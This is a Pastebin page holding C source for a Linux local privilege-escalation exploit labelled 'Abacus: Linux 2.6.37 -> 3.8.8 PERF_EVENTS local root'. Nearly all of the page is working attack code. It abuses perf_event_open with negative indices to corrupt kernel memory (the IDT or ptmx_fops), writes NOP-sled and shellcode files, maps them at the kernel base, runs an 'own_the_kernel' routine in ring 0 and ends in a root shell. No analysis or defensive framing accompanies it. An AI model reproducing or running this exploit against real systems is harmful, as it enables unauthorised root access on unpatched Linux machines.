Advertisement
rom4eg9996669

exp_abacus.c

Apr 23rd, 2015
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 11.30 KB | None | 0 0
  1. /*
  2.  * original exploit by sd@fucksheep.org, written in 2010
  3.  * heavily modified by spender to do things and stuff
  4.  */
  5.  
  6. #define _GNU_SOURCE 1
  7. #include <stdint.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <unistd.h>
  12. #include <sys/mman.h>
  13. #include <syscall.h>
  14. #include <stdint.h>
  15. #include <sys/utsname.h>
  16. #include <fcntl.h>
  17. #include <assert.h>
  18.  
  19. #define BIT64   (sizeof(unsigned long) != sizeof(unsigned int))
  20.  
  21. #define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
  22.  /* for overflows */
  23. #define EXIT_KERNEL_TO_NULL 0x31336
  24.  
  25. #define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
  26.  
  27. /* defines for post_exploit */
  28. #define RUN_ROOTSHELL 0x5150
  29. #define CHMOD_SHELL 0x5151
  30. #define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
  31.  
  32. typedef unsigned long (*_get_kernel_sym)(char *name);
  33. typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
  34.  
  35. struct exploit_state {
  36.     _get_kernel_sym get_kernel_sym;
  37.     _kallsyms_lookup_name kallsyms_lookup_name;
  38.     void *own_the_kernel;
  39.     void *exit_kernel;
  40.     char *exit_stack;
  41.     int run_from_main;
  42.     int got_ring0;
  43.     int got_root;
  44. };
  45.  
  46. #define EFL_RESERVED1 (1 << 1)
  47. #define EFL_PARITY (1 << 2)
  48. #define EFL_ZEROFLAG (1 << 6)
  49. #define EFL_INTERRUPTENABLE (1 << 9)
  50. #define EFL_IOPL3 ((1 << 12) | (1 << 13))
  51.  
  52. #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
  53. /* for insta-iopl 3, for whatever reason!
  54.    #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
  55. */
  56.  
  57. #define DISABLED_LSM        0x1
  58. #define DISABLED_IMA        0x2
  59. #define DISABLED_APPARMOR   0x4
  60. #define DISABLED_SELINUX    0x8
  61.  
  62.  
  63. struct exploit_state *exp_state;
  64. int is_old_kernel = 0;
  65.  
  66. char *desc = "Abacus: Linux 2.6.37 -> 3.8.8 PERF_EVENTS local root";
  67.  
  68. int requires_null_page = 0;
  69.  
  70. #define JMPLABELBASE64 0x1780000000
  71. #define JMPLABELBASE32 0x1a00000
  72. #define JMPLABELBASE (BIT64 ? JMPLABELBASE64 : JMPLABELBASE32)
  73. #define JMPLABELNOMODBASE64 0xd80000000
  74. #define JMPLABELNOMODBASE32 0x40000000
  75. #define JMPLABELNOMODBASE (BIT64 ? JMPLABELNOMODBASE64 : JMPLABELNOMODBASE32)
  76. #define BASE64  0x380000000
  77. #define BASE32  0x80000000
  78. #define BASE (BIT64 ? BASE64 : BASE32)
  79. #define SIZE64  0x010000000
  80. #define SIZE32  0x02000000
  81. #define SIZE (BIT64 ? SIZE64 : SIZE32)
  82. #define KSIZE  (BIT64 ? 0x2000000 : 0x2000)
  83. #define SYSCALL_NO (BIT64 ? 298 : 336)
  84. #define MAGICVAL (BIT64 ? 0x44444443 : 0x44444445)
  85.  
  86. static int wrap_val;
  87. static int structsize;
  88. static int has_jmplabel;
  89. static int is_unaligned;
  90. static int target_offset;
  91. static int computed_index;
  92. static unsigned long target_addr;
  93. static unsigned long array_base;
  94. unsigned long kbase;
  95.  
  96. struct {
  97.     uint16_t limit;
  98.     uint64_t addr;
  99. } __attribute__((packed)) idt;
  100.  
  101. int get_exploit_state_ptr(struct exploit_state *ptr)
  102. {
  103.     exp_state = ptr;
  104.     return 0;
  105. }
  106.  
  107. int ring0_cleanup(void)
  108. {
  109.     if (BIT64) {
  110.         *(unsigned int *)(target_addr + target_offset) = 0xffffffff;
  111.         /* clean up the probe effects for redhat tears */
  112.         (*(unsigned int *)(array_base - structsize))--;
  113.         (*(unsigned int *)(array_base - (2 * structsize)))--;
  114.     }
  115.     /* on 32bit we let the kernel clean up for us */
  116.     return 0;
  117. }
  118.  
  119. int main_pid;
  120. int signals_dont_work[2];
  121. int total_children;
  122.  
  123. static int send_event(uint32_t off) {
  124.     uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x320 };
  125.     int fd;
  126.  
  127.     if ((int)off >= 0) {
  128.         printf(" [-] Target is invalid, index is positive.\n");
  129.         exit(1);
  130.     }
  131.     if (getpid() == main_pid)
  132.         printf(" [+] Submitting index of %d to perf_event_open\n", (int)off);
  133.     fd = syscall(SYSCALL_NO, buf, 0, -1, -1, 0);
  134.  
  135.     if (fd < 0) {
  136.         printf(" [-] System rejected creation of perf event.\n");
  137.         exit(1);
  138.     }
  139.     if (BIT64)
  140.         close(fd);
  141.     return fd;
  142. }
  143.  
  144. //static unsigned long security_ops;
  145. static unsigned long perf_swevent_enabled;
  146. static unsigned long ptmx_fops;
  147.  
  148. int trigger(void)
  149. {
  150.     /* !SMEP version */
  151.     printf(" [!] Array base is %p\n", (void *)array_base);
  152.     printf(" [!] Detected structure size of %d bytes\n", structsize);
  153.     printf(" [!] Targeting %p\n", (void *)(array_base + (structsize * computed_index)));
  154.  
  155. #ifdef __x86_64__
  156.     send_event(computed_index);
  157.     if (is_unaligned) {
  158.         asm volatile (
  159.         "pushfq\n"
  160.         "orq $0x40000, (%rsp)\n"
  161.         "popfq\n"
  162.         "test %rax, 0x1(%rsp)\n"
  163.         );
  164.     } else {
  165.         asm("int $0x4");
  166.     }
  167. #else
  168.     {
  169.         unsigned long kbase_counter = 0;
  170.         int ret;
  171.         int fd;
  172.         int pipes[2];
  173.         int i;
  174.         char garbage;
  175.  
  176.         /* child notification/reaping code from zx2c4 */
  177.  
  178.         pipe(pipes);
  179.         pipe(signals_dont_work);
  180.  
  181.         main_pid = getpid();
  182.  
  183.         total_children = 0;
  184.  
  185.         while (kbase_counter < kbase) {
  186.             if (!fork()) {
  187.                 int x;
  188.                 for (x = 0; x < 512; x++)
  189.                     send_event(computed_index);
  190.                 write(pipes[1], &garbage, 1);
  191.                 read(signals_dont_work[0], &garbage, 1);
  192.                 _exit(0);
  193.             }
  194.             kbase_counter += 512;
  195.             total_children++;
  196.  
  197.         }
  198.         for (i = 0; i < total_children; i++)
  199.             read(pipes[0], &garbage, 1);
  200.  
  201.         fd = open("/dev/ptmx", O_RDWR);
  202.         if (fd < 0) {
  203.             printf(" [-] Unable to open /dev/ptmx\n");
  204.             exit(1);
  205.         }
  206.         {
  207.             struct iovec iov;
  208.             /* this choice is arbitrary */
  209.             iov.iov_base = &iov;
  210.             iov.iov_len = sizeof(iov);
  211.             /* this one is not ;) */
  212.             readv(fd, &iov, 1);
  213.         }
  214.     }
  215. #endif
  216.  
  217.     /* SMEP/SMAP version, shift security_ops */
  218.     //security_ops = (unsigned long)exp_state->get_kernel_sym("security_ops");
  219.     //for (i = 0; i < sizeof(unsigned long); i++)
  220.     //  send_event(-wrap_val + ((security_ops&0xffffffff)-0x80000000)/4, 1);
  221.     // add fancy trigger here
  222.  
  223.     return 0;
  224. }
  225.  
  226. int post(void)
  227. {
  228.     write(signals_dont_work[1], &total_children, total_children);
  229.     return RUN_ROOTSHELL;
  230. }
  231.  
  232. static int find_mod_in_mapping(unsigned int *mem, unsigned long len, int *idx)
  233. {
  234.     unsigned long i, x;
  235.  
  236.     for (i = 0; i < len/4; i++) {
  237.         if (mem[i] == MAGICVAL) {
  238.             for (x = 1; x < 7; x++) {
  239.                 if (mem[i+x] == MAGICVAL) {
  240.                     *idx = i;
  241.                     return 4 * x;
  242.                 }
  243.             }
  244.             break;
  245.         }
  246.     }
  247.     return 0;
  248. }
  249.  
  250. int prepare(unsigned char *buf)
  251. {
  252.     unsigned char *mem;
  253.     unsigned char *p;
  254.     int fd;
  255.     unsigned int *map1, *map2, *map3;
  256.     int i, x;
  257.     unsigned long idx;
  258.     char c;
  259.     int fd1, fd2;
  260.  
  261.     assert((map1 = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0,0)) == (void*)BASE);
  262.     memset(map1, 0x44, SIZE);
  263.     assert((map2 = mmap((void*)JMPLABELBASE, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0,0)) == (void*)JMPLABELBASE);
  264.     memset(map2, 0x44, SIZE);
  265.     assert((map3 = mmap((void*)JMPLABELNOMODBASE, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0,0)) == (void*)JMPLABELNOMODBASE);
  266.     memset(map3, 0x44, SIZE);
  267.     fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4);
  268.     fd2 = send_event(BIT64 ? -2 : -(1024 * 1024 * 1024)/4-1);
  269.  
  270.     structsize = find_mod_in_mapping(map1, SIZE, &i);
  271.     if (!structsize) {
  272.         structsize = find_mod_in_mapping(map2, SIZE, &i);
  273.         if (!structsize) {
  274.             structsize = find_mod_in_mapping(map3, SIZE, &i);
  275.             if (!structsize) {
  276.                 printf(" [-] Unsupported configuration.\n");
  277.                 if (!BIT64) {
  278.                     close(fd1);
  279.                     close(fd2);
  280.                 }
  281.                 exit(1);
  282.             } else
  283.                 has_jmplabel = 1;
  284.         } else
  285.             has_jmplabel = 1;
  286.     }
  287.  
  288.     /* permit the dec back */
  289.     if (!BIT64) {
  290.         close(fd1);
  291.         close(fd2);
  292.     }
  293.     wrap_val = 4 * i + 2 * structsize;
  294.  
  295.     if (BIT64) {
  296.         /* use masked kernel range here */
  297.         asm ("sidt %0" : "=m" (idt));
  298.         kbase = idt.addr & 0xff000000;
  299.         target_addr = idt.addr;
  300.         array_base = 0xffffffff80000000UL | wrap_val;
  301.  
  302.         /* do we need to target AC instead? */
  303.         if (has_jmplabel) {
  304.             if  ((array_base - target_addr) % structsize) {
  305.                 is_unaligned = 1;
  306.                 target_offset = 0x118;
  307.             } else
  308.                 target_offset = 0x48;
  309.         } else
  310.             target_offset = 0x48;
  311.  
  312.         computed_index = -((array_base-target_addr-target_offset)/structsize);
  313.     } else {
  314.         int brute;
  315.  
  316.         /* use just above mmap_min_addr here */
  317.         kbase = 0;
  318.         while (1) {
  319.             mem = (unsigned char *)mmap((void *)kbase, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  320.             if (mem != MAP_FAILED) {
  321.                 munmap((void *)kbase, 0x1000);
  322.                 break;
  323.             } else
  324.                 kbase += 0x1000;
  325.         }
  326.         array_base = (unsigned long)exp_state->get_kernel_sym("perf_swevent_enabled");
  327.         target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops");
  328.         if (!target_addr || !array_base) {
  329.             printf(" [-] Symbols required for i386 exploitation (in this exploit).\n");
  330.             exit(1);
  331.         }
  332.         target_offset = 4 * sizeof(unsigned int);
  333.         computed_index = 0;
  334.         for (brute = -1; brute < 0; brute--) {
  335.             if (array_base + (brute * structsize) == (target_addr + target_offset)) {
  336.                 computed_index = brute;
  337.                 break;
  338.             }
  339.         }
  340.         if (!computed_index) {
  341.             printf(" [-] Unable to reach ptmx_fops target under this configuration.\n");
  342.             exit(1);
  343.         }
  344.     }
  345.  
  346.     /* elito hungarian technique */
  347.     fd = open("./suckit_selinux_nopz", O_CREAT | O_WRONLY, 0644);
  348.     if (fd < 0) {
  349.         printf("unable to create nop sled file\n");
  350.         exit(1);
  351.     }
  352.  
  353.     mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  354.     if (mem == MAP_FAILED) {
  355.         printf("unable to mmap nop sled\n");
  356.         goto error;
  357.     }
  358.     memset(mem, 0x90, 0x1000);
  359.     write(fd, mem, 0x1000);
  360.     close(fd);
  361.     munmap(mem, 0x1000);
  362.  
  363.     fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644);
  364.     if (fd < 0) {
  365.         printf("unable to create shellcode file\n");
  366.         exit(1);
  367.     }
  368.  
  369.     mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  370.     if (mem == MAP_FAILED) {
  371.         printf("unable to mmap nop sled\n");
  372.         goto error;
  373.     }
  374.     memset(mem, 0x90, 0x1000);
  375.     p = (unsigned char *)(mem + 0x1000 - 3 - (2 * (2 + 4 + sizeof(unsigned long))));
  376.     if (BIT64) {
  377.         // swapgs
  378.         p[0] = 0x0f;
  379.         p[1] = 0x01;
  380.         p[2] = 0xf8;
  381.     }
  382.     p += 3;
  383.     // call own_the_kernel
  384.     p[0] = 0xff;
  385.     p[1] = 0x15;
  386.     *(unsigned int *)&p[2] = BIT64 ? 6 : kbase + KSIZE - (2 * sizeof(unsigned long));
  387.     // call exit_kernel
  388.     p[6] = 0xff;
  389.     p[7] = 0x25;
  390.     *(unsigned int *)&p[8] = BIT64 ? sizeof(unsigned long) : kbase + KSIZE - sizeof(unsigned long);
  391.     *(unsigned long *)&p[12] = (unsigned long)exp_state->own_the_kernel;
  392.     *(unsigned long *)&p[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel;
  393.  
  394.     write(fd, mem, 0x1000);
  395.     close(fd);
  396.     munmap(mem, 0x1000);
  397.  
  398.     fd = open("./suckit_selinux_nopz", O_RDONLY);
  399.     if (fd < 0) {
  400.         printf("unable to open nop sled file for reading\n");
  401.         goto error;
  402.     }
  403.     // map in nops and page them in
  404.     for (idx = 0; idx < (KSIZE/0x1000)-1; idx++) {
  405.         mem = (unsigned char *)mmap((void *)(kbase + idx * 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
  406.         if (mem != (unsigned char *)(kbase + idx * 0x1000)) {
  407.             printf("unable to mmap\n");
  408.             goto error;
  409.         }
  410.         if (!idx)
  411.             assert(!mlock(mem, 0x1000));
  412.         c = *(volatile char *)mem;
  413.     }
  414.  
  415.     fd = open("./suckit_selinux", O_RDONLY);
  416.     if (fd < 0) {
  417.         printf("unable to open shellcode file for reading\n");
  418.         goto error;
  419.     }
  420.     mem = (unsigned char *)mmap((void *)(kbase + KSIZE - 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
  421.     if (mem != (unsigned char *)(kbase + KSIZE - 0x1000)) {
  422.         printf("unable to mmap\n");
  423.         goto error;
  424.     }
  425.     assert(!mlock(mem, 0x1000));
  426.     c = *(volatile char *)mem;
  427.  
  428.     unlink("./suckit_selinux");
  429.     unlink("./suckit_selinux_nopz");
  430.  
  431.     return 0;
  432. error:
  433.     unlink("./suckit_selinux");
  434.     unlink("./suckit_selinux_nopz");
  435.     exit(1);
  436. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement